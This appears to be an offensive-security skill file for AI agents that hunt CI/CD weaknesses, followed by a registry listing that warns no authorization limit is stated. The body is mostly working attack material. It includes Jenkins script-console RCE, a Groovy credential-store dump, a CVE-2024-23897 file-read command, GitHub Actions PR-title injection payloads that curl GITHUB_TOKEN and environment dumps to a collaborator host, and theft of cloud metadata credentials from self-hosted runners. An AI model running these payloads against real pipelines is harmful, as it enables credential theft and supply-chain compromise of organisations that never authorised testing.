HUNT-CICD — CI/CD Pipeline Security

Crown Jewel Targets

Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.

Highest-value findings:

Jenkins Script Console — Groovy execution → full RCE → dump the credential store
Jenkins CLI file read (CVE-2024-23897) — pre-auth @/etc/passwd arg expansion → read secret.key/credentials.xml → forge admin → RCE
GitHub Actions pull_request_target injection (Pwnrequest) — fork PR controls ${{ }} inside a privileged shell step → exfil GITHUB_TOKEN (often contents:write) and org secrets
Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
OIDC trust-policy abuse — over-broad sub claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
Terraform state leakage — *.tfstate in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before ::add-mask::

"It-Didn't-Happen-Without-Proof" Gate (Read First)

CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:

A login page is not an RCE. A reachable /script URL that returns a Jenkins login or 403 is not an unauthenticated script console. Only an actual scriptText POST returning your command's output counts.
A pull_request_target workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
A .tfstate HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many tfstate files contain only resource IDs and outputs, no secrets.

Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

Unauthenticated script console → RCE (only if the POST returns output):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

Dump the credential store (Groovy decrypts secrets the UI masks):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.

Phase 2 — GitHub Actions: Pwnrequest, `${{ }}`-into-Shell, Runner Poisoning, OIDC

The core distinction (this is where 90% of false PoCs die)

There are two sink classes — they need different payloads:

${{ }} template expansion into a shell run: — the expression is substituted into the script before the shell runs, so a newline/backtick/$(...) in the untrusted field becomes literal shell. This is the classic injection.
Environment variable read inside the shell — GITHUB_TOKEN, secrets.X, and any env:-mapped value are shell variables whose value IS the string. To exfiltrate them you use echo/printenv, never cat $VAR (that tries to open a file named by the token and prints nothing).

# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

Attack via the ${{ }} sink — set the PR title (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with printenv, not cat:

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

For a multi-line YAML run:, a newline injection is cleaner:

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

Attack via a poisoned checkout (no ${{ }} needed) — if pull_request_target checks out the PR head and then runs a build script / installs deps from the checked-out tree (make, npm ci with a malicious preinstall, a Makefile, a .github/ action in the PR), the runner executes attacker code directly. Drop into any build hook:

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

Self-hosted runner poisoning — if runs-on: self-hosted (or a custom label) on a public repo with pull_request/pull_request_target, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:

- run: |
    whoami; hostname; id
    curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"

OIDC trust-policy abuse — workflows that configure-aws-credentials via OIDC assume an IAM role. A trust policy whose token.actions.githubusercontent.com:sub condition is missing or uses a loose wildcard (repo:ORG/*:*) lets any workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

Then prove it: from a workflow you control in-org, assume the role and run aws sts get-caller-identity returning the privileged role ARN.

Recon

# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do

      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

Triage candidates with the static analyzer before opening any PR: gh extension install rhysd/actionlint or run zizmor (pip install zizmor; zizmor .github/workflows/) which flags template-injection and dangerous-checkout patterns specifically.

Actions cache poisoning

The GitHub Actions cache is not trust-isolated across branches by default: a workflow from an attacker branch/fork PR can write a cache entry (key or restore-key) that a later privileged workflow on the default branch restores, injecting attacker files (built binaries, deps, scripts) into a trusted build -> code execution in the privileged context. Check for cache actions keyed on attacker-influenced values, and whether privileged pipelines restore-keys a prefix an untrusted job can populate.

Phase 3 — Secrets in Logs & Artifacts

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

Note actions/upload-artifact does not redact secrets — an artifact named env/debug is a common direct leak.

Phase 4 — GitLab CI

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

A registration token alone is not a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonst

# HUNT-CICD — CI/CD Pipeline Security

Skill instructions are recorded. This is not a runtime test, safety guarantee or compatibility certification.

Review before install: Avoid automatic install

Dependency or permission surface needs review
Permission surface may require sandboxing
The skill does not explicitly state that it must only be used on systems the user is authorized to test, which could lead to misuse if adopted without proper context.
Some commands (e.g., Jenkins script console RCE, file read) are inherently dangerous if executed against unauthorized targets; the skill relies on implied authorization but could be clearer.

Open full audit

Listed tools are metadata hints, not tested compatibility. Agent prompts are suggested handoffs.

Start with one small task

1Read the source. Confirm the input, expected output, dependencies and permissions.
2Ask your agent for a plan. Approve setup and any costs before running a small isolated test.
3Check the output and changed files. Report only what actually ran; keep the source revision for reproduction.
